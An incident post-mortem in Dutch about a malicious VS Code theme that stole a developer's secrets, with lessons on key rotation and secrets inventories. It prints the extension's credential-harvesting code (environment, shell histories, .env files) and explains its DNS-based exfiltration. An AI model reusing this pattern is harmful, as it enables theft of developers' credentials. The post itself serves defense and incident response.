Security
Geïnfecteerde VS Code-extensie: zeven uur keys roteren
De eerste melding kwam binnen om 16:42 op een woensdag in mei. Uitgaand DNS-verkeer van de laptop van een junior dev naar een onbekende Cloudflare Worker.

De eerste melding kwam binnen om 16:42 op een woensdag in mei. Uitgaande DNS-queries van een Macbook in een Haarlems kantoor naar een subdomein van vier woorden dat we nooit hadden geregistreerd, dat resolvede naar een Cloudflare Worker. De laptop was van een junior developer die drie weken eerder bij het team was begonnen.
Ze zat in een 1:1 met haar lead. We trokken haar uit het gesprek, haalden de laptop van wifi, en lazen over haar schouder mee in Activity Monitor. Code Helper stond op 4% CPU, idle. Het extensies-panel toonde tweeëntwintig geïnstalleerde extensies. Eén ervan, een klein theme dat een maand eerder was gepubliceerd met zo'n 1.200 downloads, hadden we nooit eerder gezien.
Twee minuten later hadden we het manifest open in een terminal. De extensie leverde één scriptje van 11KB dat activeerde op onStartupFinished. Het las process.env uit, doorzocht ~/.zsh_history en ~/.bash_history, scande elk .env-bestand onder ~/Projects, en stuurde het hele zooitje elke vijftien minuten naar een endpoint van de aanvaller. De volgende post stond gepland voor 16:45.
We hadden drie minuten.
Wat de extensie precies deed
Het manifest van de extensie viel niet op. Een theme-contribution, een paar commands, een onStartupFinished activation event. De kwaadaardige code zat in één bestand dat de marketplace bij submission niet had geflagd.
Uitgekleed zag het relevante patroon er zo uit:
const fs = require('node:fs');
const os = require('node:os');
const path = require('node:path');
const HOME = os.homedir();
const HISTORY = ['.zsh_history', '.bash_history', '.psql_history'];
const ROOT = path.join(HOME, 'Projects');
function harvest() {
const env = { ...process.env };
const histories = HISTORY
.map(f => path.join(HOME, f))
.filter(fs.existsSync)
.map(f => fs.readFileSync(f, 'utf8'));
const envFiles = walk(ROOT, /\.env(\.\w+)?$/);
return { env, histories, envFiles };
}
setInterval(() => post(harvest()), 15 * 60 * 1000);
De post-functie gebruikte dns.resolve4 op een domein dat de aanvaller in handen had en exfiltreerde de payloads als base64-chunks, gecodeerd in opeenvolgende A-record lookups. Daarom zag onze perimeter DNS, geen HTTPS. Een Cloudflare Worker aan de andere kant zette de queries weer in elkaar.
Twee details om uit te lichten. De listing in de marketplace was echt, met een publisher-account dat in oktober was geregistreerd en daarvoor vier legitiem ogende extensies had uitgebracht. En het activation event was onStartupFinished, geen command, dus de developer hoefde elke dag niets te doen om het te triggeren. Ze had de extensie drie dagen eerder eenmalig geïnstalleerd, op zoek naar een Solarized-variant.
Dit patroon is niet uniek voor één marketplace. Onderzoekers hebben kwaadaardige npm-packages, Chrome-extensies en VS Code-themes blootgelegd die populair werk nadoen en bij eerste install een payload meeleveren. Het aanvalsoppervlak van een kleine AI-studio bestaat uit package- en extensie-marketplaces, en de manifest-review op die marketplaces is dun.
De blast radius in kaart
Om 16:55 hadden we de lijst rond. Haar .env-bestanden bevatten negen secrets verspreid over vier projecten. Grofweg in de volgorde waarin we ze wilden roteren:
De Anthropic-key voor een prototype-agent had een budget van $4.000 per maand op de org. De OpenAI-key was een gedeelde development-key zonder apart budget. Twee Azure-keys voor een Postgres- en een Storage-account in een sandbox-subscription. Een AWS access-key paar voor een persoonlijke IAM-user met read-access tot één S3-bucket. Een GitHub personal access token met repo-scope. Een Slack-bot token voor onze interne posting-bot. Een Stripe restricted key voor een test-mode account.
En het stuk dat niemand wil toegeven: dezelfde Slack-bot token zat ook op de machines van drie andere developers, hardcoded in een CI-pipeline yaml, en zes maanden geleden gecommit in een private repo.
Als de aanvaller twee uur ongestoord had kunnen werken, was de realistische schade een Anthropic-rekening van vier cijfers, posts in onze interne Slack vanuit een bot die het team vertrouwde, en read-access tot één S3-bucket. De Stripe-key was beperkt tot test mode en oninteressant. De GitHub PAT was de gevaarlijke, want die kon elke private repo clonen die we hebben.
Zeven uur roteren
We trokken de keys in bovenstaande volgorde, te beginnen met Anthropic en OpenAI omdat daar een meter loopt die per seconde tikt. De eerste rotatie, die van Anthropic, kostte elf minuten end to end. De Slack-bot token kostte zes uur.
De trage was niet de API-call. De API-call is één curl. De Anthropic admin API heeft één endpoint om een key te deactiveren:
curl https://api.anthropic.com/v1/organizations/api_keys/$KEY_ID \
-H "x-api-key: $ADMIN_KEY" \
-H "anthropic-version: 2023-06-01" \
-X POST \
-d '{"status": "inactive"}'
De rotatie-flow van OpenAI heeft dezelfde vorm: maak de nieuwe key aan, plak hem in de secret store, trek de oude in. Het trage stuk zat in alles wat we moesten fixen om die paste-in te kunnen doen.
De Slack-bot token zat in drie CI-pipelines. Twee verwezen ernaar via een gedeelde secret in onze org-settings, één had hem inline in de yaml staan. Die inline-versie was degene die we als eerste over het hoofd zagen. Nadat we hadden geroteerd faalde die pipeline veertig minuten lang voordat de on-call developer het doorhad. De bot begon op hetzelfde moment 404's te geven in Slack. Iedereen die het kanaal in de gaten hield kon zien dat er iets mis was.
De GitHub PAT was de op één na traagste. Toen die was ingetrokken faalden drie lokale clones op git pull en stopte een Vercel-build die de PAT gebruikte voor een private npm-dependency met resolven. Die Vercel-build was de enige die iemand daadwerkelijk had gedocumenteerd.
Om 23:38 was elke key geroteerd, elke pipeline groen, de laptop opnieuw geïmaged, en stond er een schriftelijke incident-notitie in de gedeelde Notion van het team. Zeven uur, twaalf mensen die op een gegeven moment betrokken waren, één geannuleerd diner.
Kun je niet binnen twee minuten opnoemen vanaf welke plekken een secret wordt gelezen, dan heb je geen incident response plan. Dan heb je een schattenjacht.
De kwartaal-drill die niemand draait
De drill is niet ingewikkeld. We hadden hem in 2024 opgeschreven en sindsdien nog nooit gedraaid.
Een kwartaal-rotatiedrill van negentig minuten ziet er zo uit. Eén persoon pakt willekeurig een secret uit de secrets-inventory. De on-call roteert hem. De rest van het team komt erachter via wat er stukgaat, fixt zijn eigen kant, en post de fix in een thread. Na negentig minuten staat alles weer op groen, of je hebt een geschreven lijst met dingen die nog stuk zijn.
De drill leert je vier dingen. Vanaf welke plek de secret écht wordt gelezen, niet vanaf de plek waar je dacht. Wie er in de kamer moet zitten. Hoe lang elke rotatie daadwerkelijk duurt als je niet in paniek bent. En welke CI-pipelines hardcoded waarden bevatten die je was vergeten.
Voor de inventory zelf houden we nu één yaml-bestand bij in onze interne ops-repo met één entry per secret:
- id: anthropic_prod_agent_1
vendor: anthropic
rotation_method: admin_api
read_by:
- service: pier-agent
location: vercel:env:ANTHROPIC_KEY
- service: pier-agent-staging
location: vercel:env:ANTHROPIC_KEY
last_rotated: 2026-05-14
rotation_minutes_observed: 11
Het veld rotation_minutes_observed slaan de meeste teams over. Dat is het enige veld dat je vertelt wat je echte recovery time is, in plaats van de recovery time op een schema.
De verdediging op de lokale machine is een schrijfopdracht van twee minuten. Hang een gitleaks pre-commit hook in elke repo. Audit maandelijks de geïnstalleerde VS Code-extensies en verwijder degene die niemand bij naam kan noemen. Houd secrets waar mogelijk uit .env-bestanden, en waar dat niet kan, scope ze zo strak mogelijk. Gebruik restricted keys bij elke vendor die ze aanbiedt: OpenAI, Anthropic, Stripe en Slack doen dat allemaal, en de restricted varianten hadden onze blast radius met minstens drie van de negen keys verkleind.
Wat we op dag één van een nieuwe opdracht zouden doen
Lopend naar buiten om middernacht maakten de lead en ik een lijstje van wat van deze dag een verhaal van een uur had gemaakt in plaats van zeven. Vier items: de gitleaks-hook, de maandelijkse extensie-audit, het secrets-inventory yaml, en een terugkerende calendar-invite voor de drill. Geen ervan kost geld. Stuk voor stuk heeft elk item iemand nodig die de eerste versie opschrijft.
Toen we vorig jaar voor een agency in Amsterdam met 40 mensen de AI-agents bouwden, kwam hetzelfde soort probleem boven rond hun Mailchimp- en Klaviyo-keys. We losten het op door op dag één van de opdracht een dry-run rotatie te draaien en het inventory-bestand op te schrijven voordat we ook maar één agent live zetten. Het kostte een halve dag. Het had ze er vier bespaard als ze het nodig hadden gehad.
Het kleinste wat je vandaag kunt doen: open je secrets manager, pak de luidruchtigste key, en probeer hem in te trekken. Heeft het intrekken meer dan één persoon, meer dan één tab, of meer dan dertig minuten nodig, dan heb je net de scope van je volgende negentig-minuten drill bepaald.
Kern
Kun je niet binnen twee minuten opnoemen vanaf welke plekken een secret wordt gelezen, dan heb je geen incident response plan. Dan heb je een schattenjacht.
FAQ
Hoe exfiltreert een aanvaller data via DNS?
Ze splitsen de payload in base64-chunks, coderen elk stuk als subdomein van een domein dat zij beheren, en laten de nameserver van de aanvaller de lookups loggen en weer in elkaar zetten. De meeste perimeter-firewalls laten uitgaand DNS-verkeer standaard toe.
Moeten we de VS Code marketplace blokkeren?
Meestal niet. Een allowlist van goedgekeurde extensies plus een maandelijkse audit is voor de meeste teams genoeg. Het doel is voorkomen dat een kwaadaardige install bij een secret komt, niet ontwikkelaars stoppen met het installeren van tools.
Hoe lang zou een credential-rotatie eigenlijk moeten duren?
Voor één secret met gedocumenteerde rotatie is elf minuten realistisch. Voor negen secrets verspreid over vier projecten met hardcoded referenties in CI: reken op een halve dag. Meet je eigen getal één keer en schrijf het op in de inventory.
Wat is de goedkoopste rotatie-drill?
Eén persoon pakt elk kwartaal willekeurig een secret, de on-call roteert hem, en de rest van het team fixt wat er in de volgende negentig minuten stukgaat. Geen nieuwe tooling nodig, en de breakages vertellen je waar je inventory niet klopt.
Zijn restricted API-keys de moeite van opzetten waard?
Ja. Anthropic, OpenAI, Stripe, Slack en de meeste vendors laten je een key scopen tot een workspace, een model of een permissieset. Drie van onze negen gecompromitteerde keys waren bijna waardeloos geweest voor de aanvaller als ze goed gescoped waren.